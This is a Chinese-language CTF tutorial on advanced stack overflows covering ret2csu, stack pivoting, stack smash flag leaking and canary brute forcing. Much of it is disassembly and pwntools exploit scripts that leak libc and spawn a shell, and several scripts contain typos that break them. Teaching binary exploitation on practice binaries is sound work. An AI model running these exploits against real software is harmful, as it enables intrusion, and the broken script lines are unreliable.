栈溢出进阶与花式栈溢出
2023-7-24 01:3:0 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

栈溢出进阶

ret2csu

64位传参规则

在64位程序中,前6个参数依次存放在rdi,rsi,rdx,rcx,r8,r9寄存器中,从第七个开始放入栈中。

程序分析

.text:00000000004005C0
.text:00000000004005C0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005C0
.text:00000000004005C0
.text:00000000004005C0 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
//                                     call    qword ptr [r12+rbx*8]
//把r12 + rbx*8的值算出来,当地址来call,然后r12和rbx又是在栈里面出来的,所以我们盖到它们对应的位置就可以控制call一个任意地址
//调用了函数指针数组里面的某个函数
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp
.text:0000000000400624
.text:0000000000400624 ; ---------------------------------------------------------------------------
gadget分析

先分为两段gadget,因为第一段那里有ret,先执行第一段,控制参数,再执行第二段,执行函数

第一段

.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn

第二段

.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
汇编分析
  • 从0000000000400616一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbx,rbp,r12,r13,r14,r15寄存器的数据(因为都是向寄存器pop),对应汇编如下:
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp
  • 从0000000000400600到0000000000400609 ,我们可以将r13赋给rdx,将r14赋给rsi,将r15d赋给edi,所以也可以控制rdi寄存器的值,只不过只能控制低32位,而这三个寄存器,也是x64函数调用中传递的前三个寄存器,(edi,rsi,rdx),此外,通过call那里的指令,我们可以控制r12+rbx*8的值,进而调用我们想要调用的函数,可以令rbx为0,r12为存储我们想要调用函数的地址,汇编如下:
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
//                                     call    qword ptr [r12+rbx*8]
//把r12 + rbx*8的值算出来,当地址来call,然后r12和rbx又是在栈里面出来的,所以我们盖到它们对应的位置就可以控制call一个任意地址
//调用了函数指针数组里面的某个函数
  • 从000000000040060D 到0000000000400614,我们可以控制rbx与rbp的关系为rbp=rbx+1,这样就能继续向下执行,简单设置rbx为0,rbp为1
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600

例题

下面开始结合具体题目进行分析

函数分析
  • 首先是64位程序,开启了nx保护,main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  vulnerable_function();
  return 0;
}
  • 进入vulunerable_function函数
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}
  • 发现了read函数,这是一个简单的栈溢出函数
ssize_t read(int fd,void*buf,size_t count)
参数:
fd 文件描述符
buf 读出数据的缓冲区
count 每次读取字节数
计算偏移
  • 下面计算一下偏移,ida查看和在gdb中利用调试都是0x88,即136
思路分析
  • 发现没有system函数,但有一个已知的write函数,通过调用write在got表中的地址来调用write函数,下面了解一下write函数的结构
ssize_t write(int fd,const void*buf,size_t count)

write()会把参数buf所指的内存写入count个字节到参数放到所指的文件内,fd为文件描述符,fd为1时为标准输出,下面需要在寄存器中部署三个参数,并且在最后调用write在got表中的地址进而调用write函数打印出自身函数地址

寻找write函数真实地址-payload1
  • 下面开始寻找write函数在内存中的真实地址

    from pwn import*
    
    p=process()
    elf = ELF()
    
    pop_addr = 0x40061a
    write_got = elf.got['write']
    mov_addr = 0x400600
    main_addr = elf.symbols['main']
    
    p.recvuntil('Hello,World\n')
    payload0 = b'a'*136 +p64(pop_addr) +p64(0) + p64(1) +p64(write_got) +p64(8) +p64(write_got) +p64(1) +p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr)
    p.sendline(payload0)
    
    write_start = u64(p.recv(8))
    print "write_addr_in_memory_is" + hex(write_start)
    

    下面对paylaod0进行重点分析,先输入136个字符使程序发生栈溢出,然后让pop_addr覆盖栈中的返回地址,使程序执行pop_addr地址处的函数,并分别将栈中的0,1,write_got函数地址,8,write_got,1分别pop到寄存器rbx,rbp,r12,r13,r14,r15中去,所有寄存器的存放内容

    .text:000000000040061A                 pop     rbx  //rbx->0
    .text:000000000040061B                 pop     rbp  //rbp->1
    .text:000000000040061C                 pop     r12  //r12->write_got函数地址
    .text:000000000040061E                 pop     r13  //r13->8
    .text:0000000000400620                 pop     r14  //r14->write_got函数地址
    .text:0000000000400622                 pop     r15  //r15->1
    .text:0000000000400624                 retn          //覆盖为mov_addr
    

    说一下payload中两个write_got函数的作用,在布置完寄存器中,有call qword ptr[p12+rbx*8]调用了write函数,其参数为write_got函数地址,r14寄存器,写成c语言类似为:write(write_got函数地址)==printf(write_gothas、函数地址),再使用u64(p.recv(8))接受数据,再print出来就行

    之后程序转向mov_addr函数,利用mov指令布置寄存器rdx,rsi,edi

    .text:0000000000400600                 mov     rdx, r13  //rdx==r13==8
    .text:0000000000400603                 mov     rsi, r14  //rsi==r14==write_got函数地址
    .text:0000000000400606                 mov     edi, r15d //edi==r15d==1
    .text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] 
                                                             //call write_got函数地址
    .text:000000000040060D                 add     rbx, 1
    .text:0000000000400611                 cmp     rbx, rbp  //rbx==1,rbp==1
    .text:0000000000400614                 jnz     short loc_400600 //jnz(jne)结果不为零(不相等)则跳转
    

    从整体上来看,我们输入了‘a'*136,利用payload0对寄存器重新布局后又重新回到了main函数,

    再说b’a'(0x8+8x6)的作用,他的作用就是为了平衡堆栈,也就是说,当mov_addr执行完之后,按照流程仍然执行400616处的函数,我们不希望它执行到此,因为会再次pop寄存器更换我们布置好的内容,所以为了堆栈平衡,我们使用垃圾数据填充此处的代码(栈区和代码区同属于内存区域,可以被填充),用垃圾数据填充地址0x16-0x22的内容,最后将main_addr覆盖ret,从而执行main_addr处的内容

  • 第一部分exp上述已知,这样就获得了write函数的真实地址

执行system函数-payload2
  • 这道题目我们使用系统自带的libc.so.6文件,请注意:当程序加载的时候会寻找同目录下的libc.so.6文件,如果存在,则会自动加载,而不会去加载系统自带的libc文件

    libc = ELF()
    #libc = ELF('libc.so.6')
    
    libc_base=write_start-libc.symbols['write']
    system_addr=libc.symbols['symtem']+libc_base
    binsh=next(libc.search('/bin/sh'))+libc_base
    
    print"libc_base_addr_in_memory_is"+hex(libc_base)
    print"system_addr_in_memory_is"+hex(system_addr)
    print"/bin/sh_addr_in_memory_is"+hex(binsh)
    
    pop_rdi_ret=0x400623
    payload=b'a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(syytem_addr)
    
    p.send(payload)
    
    p.interactive()
    
  • 当我们获得write函数真实地址后,就可以计算出libc文件的基地址,从而计算出system函数和/bin/sh字符串在内存中的地址,从而利用它。

  • 下面看一下第二个payload的含义,当程序重新执行到main函数的时候,我们利用栈溢出让返回地址被pop_rdi_ret覆盖,从而程序执行pop_rdi_ret,之所以用这个gadget,参见64位传参规则

  • 此处需要注意的是,当我们send payload之后,pop_rdi_ret,binsh和system_addr被送入到了栈中,利用gadgets:pop_rdi_ret将栈中的binsh地址送往rdi寄存器中,也就是说pop_rdi_ret的参数是地址binsh,然后将system函数地址覆盖到ret,程序就会执行此system函数。

完整exp
from pwn import*

p = process()
elf = ELF()

pop_addr = 0x40061a
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']

p.recvuntil('Hello,World\n')
payload0 =  b'a'*136 +p64(pop_addr) +p64(0) + p64(1) +p64(write_got) +p64(8) +p64(write_got) +p64(1) +p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr)
p.sendline(payload0) 

write_start = u64(p.recv(8))
print "write_addr_in_memory_is" + hex(write_start)

libc = ELF()
#libc = ELF('libc.so.6')

libc_base=write_start-libc.symbols['write']
system_addr=libc.symbols['symtem']+libc_base
binsh=next(libc.search('/bin/sh'))+libc_base

print"libc_base_addr_in_memory_is"+hex(libc_base)
print"system_addr_in_memory_is"+hex(system_addr)
print"/bin/sh_addr_in_memory_is"+hex(binsh)

pop_rdi_ret=0x400623
payload=b'a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(syytem_addr)

p.send(payload)

p.interactive()

花式栈溢出

栈迁移

definition

  • 用gadget改变esp的值

  • 控制esp!

application
  • 栈溢出长度不足以直接使用ROP
  • 栈溢出payload会出现空字符截断,且gadget地址存在空字符
  • 在泄露地址信息后需要新的ROPgadget
pop ebp ret
  • esp已经在和ebp相同的位置了,直接pop ret
leave ret
  • 先把esp抬高到和ebp同样高的位置,然后再执行pop ret
基本过程

Stack smash

基本原理

  • Stack smash基本原理是利用程序中栈(stack)这个数据结构的特点,通过非法的输入数据来改变栈中的指针和返回地址,从而让程序执行一些攻击者预先设定的恶意代码。

  • Stack smash简单点来说就是绕过Canary保护的技术。在程序加载了canary保护之后,如果我们通过栈溢出在覆盖缓冲区的时候就会连带着覆盖了canary保护的Cookie,这个时候程序就会报错。但是这个技术并不在乎是否报错,而是在乎报错的内容。stack smash技巧就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动canary保护之后,如果发现canary被修改的话就会执__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下这个指针指向程序名。代码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}
  • 在这段代码中,stack_chk_fail函数是在程序检测到栈溢出错误时被调用的函数,该函数使用了特殊的__attribute ((noreturn))修饰符,表示函数不会返回。fortify_fail函数是被stack_chk_fail调用的函数,它的作用是输出一个错误信息,并终止程序的执行

  • 具体而言,当程序检测到栈溢出错误时,会调用stack_chk_fail函数,在该函数中会调用fortify_fail函数,输出错误信息并终止程序执行。fortify_fail函数使用了libc_message函数输出错误信息,其中第一个参数是错误信息,第二个参数是程序的名称,如果没有传递该参数,则使用"<unknown>"表示程序名称。</unknown>

  • 这段代码的作用是保护程序免受栈溢出攻击,一旦发现栈溢出错误,程序就会立即终止执行,并输出错误信息,从而防止攻击者利用栈溢出漏洞执行恶意代码。

  • 所以如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串地址,那么在__fortify_fail函数中就会输出我们想要的信息。

    简单的来说,就是利用程序的栈溢出来打印flag

示例

程序分析
  • 程序开启了NX和Canary保护

  • 扔到ida进行分析

  • main

  • 看sub_4007E0的伪代码

    • 程序提供了两次输入:!_IO_gets(&v3)和_IO_getc(stdin);;这两次输入都存在这栈溢出漏洞。

    • 第二次的输入:我们将内容输入到stdio中,最后赋值给了byte_600D20。它从标准输入读取用户输入的字符,直到读取了 32 个字符或遇到换行符为止。将这些字符存储在名为 byte_600D20 的静态字符数组中。如果用户输入的字符不足 32 个,则使用 memset 函数将数组剩余部分填充为零。

    • memset函数: memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));

      memset函数的原型为
      void * memset( void * ptr, int value, size_t num );
      参数说明:
      ptr 为要操作的内存的指针。
      value 为要设置的值。你既可以向 value 传递 int 类型的值,也可以传递 char 类型的值,int  char 可以根据 ASCII 码相互转换。
      num  ptr 的前 num 个字节,size_t 就是unsigned int
      

      因此这个函数的意思是从v1 + 0x600D20LL这个地址往后32 - v1字节的内容都以0替代。

    • 我们再看一下的byte_600D20内容:PCTF{Here's the flag on server}


      这个flag提示我们真正的flag在服务器上,因此这道题并不是让我们getshell,而是通过栈溢出打印出远程服务器上真正的flag。

解题思路
  • 那么这时候问题就来了,程序会要求我们输入内容,但是输入的内容总会覆盖真正的flag(byte_600D20),那现在应该怎么办呢?

  • 这时候我们就需要利用“ELF重映射”特点:

    简单来说,ELF重映射就是程序在内存中的位置调整,让它能够更好地运行和扩展,就像房子需要更大的土地一样。

    在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出

    当可执行文件足够小的时候,他的不同区段可能会被多次映射。

  • 下面开始打开gdb,现在main函数处下一个断点,运行程序

  • 输入vmmap查看程序的内存映射

  • 注意开头的

    0x401000 r-xp     1000      0 /home/kk/pwnttt/smashes
    0x601000 rw-p     1000      0 /home/kk/pwnttt/smashes
    

在调试的时候可以看到smashes被映射到两处地址中,所以只要在二进制文件(offset)0x000000000 ~ 0x00001000范围内的内容都会被映射到内存中,分别以0x600000和0x400000作为起始地址。

flag在0x00000d20,所以会在内存中出现两次,分别位于0x00600d20和0x00400d20。所以虽然0x00600d20位置的flag被覆盖了,但是依然可以在0x00400d20找到flag(相当于flag的备份)。

我们知道了flag在内存中存放的位置,接下来就要让程序打印出来它

寻找argv[0]指针位置

接下来寻找一下argv[0]所在的位置,argv[0]会有一个明显的特征,就是他会指向程序名,所以我们可以使用gdb在main函数处下断点来寻找:

可以看到在0x7fffffffe2d4中存放着程序名称,但是这个地址被存放在0x7fffffffdf68处,所以只要把0x7fffffffdf68中的内容替换成flag就可以了。

当然也可以在gdb中使用命令“p & __libc_argv[0]”就可以得到argv[0]的地址

寻找输入时栈顶的位置

为什么这一步要找输入时的栈顶位置呢?往下看就知道了。

首先我们先看一下gets函数调用的位置,在IDA中查看:


从汇编中可以看出在call gets之前,程序将参数放在了rdi中,由于有mov rdi, rsp的存在,因此gets的参数一开始是放在栈里的。继续gdb调试,在gets(0x40080E)下断点,查看栈的内容,如下图所示:

  • 由上图可以看出,rdi寄存器中的值为rsp寄存器的内容,由64位的传参规则可知,rdi寄存器中存放的是当前执行函数的一参,所以当前的栈顶就是gets函数的一参,所以当前的栈顶就是gets函数的一参。
  • 所以当前栈顶的位置到刚才的argv[0]的偏移距离就是我们的溢出长度,
#coding=utf8
from pwn import *
context.log_level = 'debug'

p=process('./pwnttt/smashes')

payload='a'*0x218+p64(0x400d20)
p.sendlineafter('name? ',payload)
p.sendlineafter('flag: ','kk')#第二次的gets输入任意内容即可
print p.recv()

爆破canary

原理

  • 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。
  • 最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此可判断爆破是否成功。
  • 我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。

题目分析

检查保护

32位程序,开启了canary保护和NX保护,将文件放入ida中

ida

分析可知看出,main函数中存在fork函数,这是爆破canary的重点

fun()

进入fun()函数

  • 发现read(0, buf, 0x78u);通过对栈段的查看,我们可以输入0x78的内容

  • 但是buf的空间为:0x70-0xc=0x64

  • 因此可以发生栈溢出覆盖其他变量,其中v2就是保存的Canary变量

*

解题思路

  • 一位一位的去爆破Canary,使用栈溢出填充垃圾字符,直到Canary ,然后再尝试填充Canary
  • 若Canary正确,则进行下一位的爆破
  • 若Canary错误,程序会执行fork重新运行

注意

  • Canary的形式填充到寄存器中的形式为:aaaax\00

爆破Canary的通用模板

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386',os='linux')
local = 1
elf = ELF()

if local:
    p = process()
    #libc = elf.libc

else:
    p =remote()
    libc = ELF()
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
    for i in range(256):
        print"正在爆破Canary的第” + str(k+1)+""
        print"当前的字符为"+ chr(i)
        payload=b'a'*100 + canary + chr(i)
        print "当前payload为:"payload
        p.send(b'a'*100 + canary +chr(i))
        data = p.recvuntil("welcome\n")
        print data
        if "sucess" in data:
            canary += chr(i)
            print "Canary is:" + canary
            break

本题exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386',os='linux')
local = 1
elf = ELF()

if local:
    p = process()
    #libc = elf.libc

else:
    p =remote()
    libc = ELF()
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
    for i in range(256):
        print"正在爆破Canary的第” + str(k+1)+""
        print"当前的字符为"+ chr(i)
        payload=b'a'*100 + canary + chr(i)
        print "当前payload为:"payload
        p.send(b'a'*100 + canary +chr(i))
        data = p.recvuntil("welcome\n")
        print data
        if "sucess" in data:
            canary += chr(i)
            print "Canary is:" + canary
            break
addr = 0x0804863B
payload = b'A'*100 + canary + b'A'*12 + p32(addr)

p.send(payload)
p,interactive()

文章来源: https://xz.aliyun.com/t/12729
如有侵权请联系:admin#unsafe.sh